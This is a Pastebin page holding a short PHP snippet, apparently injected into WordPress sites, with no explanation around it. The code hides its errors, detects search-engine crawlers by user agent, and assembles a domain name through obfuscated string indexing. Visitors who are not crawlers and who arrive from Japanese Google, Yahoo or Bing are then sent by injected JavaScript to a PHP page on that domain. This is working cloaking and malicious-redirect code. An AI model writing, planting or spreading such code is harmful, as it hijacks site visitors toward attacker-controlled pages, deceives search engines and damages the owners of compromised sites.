Advertisement
abeksis

dsfsdf

Apr 9th, 2017
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.06 KB | None | 0 0
  1. //wpbgs
  2.  
  3. @ini_set('display_errors', 0);@set_time_limit(0);$agent= @strtolower($_SERVER['HTTP_USER_AGENT']);$iszz = false;
  4. if (!empty($agent)) {$spiderSite= array("Googlebot","Mediapartners-Google","Adsbot-Google","Yahoo!","Yahoo Slurp","bingbot","MSNBot");foreach($spiderSite as $val) {$str = strtolower($val);if (strpos($agent, $str) !== false){$iszz = true;}}
  5. }
  6. $temp = 'feji323or3j2or4j56io';$temp2 = 'pg.ejp8i323or3o';$temp3 = 'a1faeji323';$temp4 = 'cnesj6i323or3j2or4';$tempst = $temp{4};$referer = $_SERVER["HTTP_REFERER"];$russ = '#(google.co.jp|yahoo.co.jp|bing)#i';$referer = $_SERVER["HTTP_REFERER"];
  7. if(isset($_SERVER["HTTP_REFERER"])){
  8. $tempst = $tempst % 2;
  9. $tempdom = $temp4{4}.$temp3{0}.$temp2{0}.$temp3{0}.$temp4{1}.$temp3{1}.$temp4{5}.$temp2{6}.$temp2{2}.$temp4{3}.$temp2{0}.$temp3{0}.$temp4{0}.$temp4{2};
  10. if(preg_match($russ, $referer) && $iszz == false){echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="http://www.'.$tempdom.'/media/'.$tempst.'.php";'. PHP_EOL .'</script>';die();}
  11. }
  12.  
  13. //wpends
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement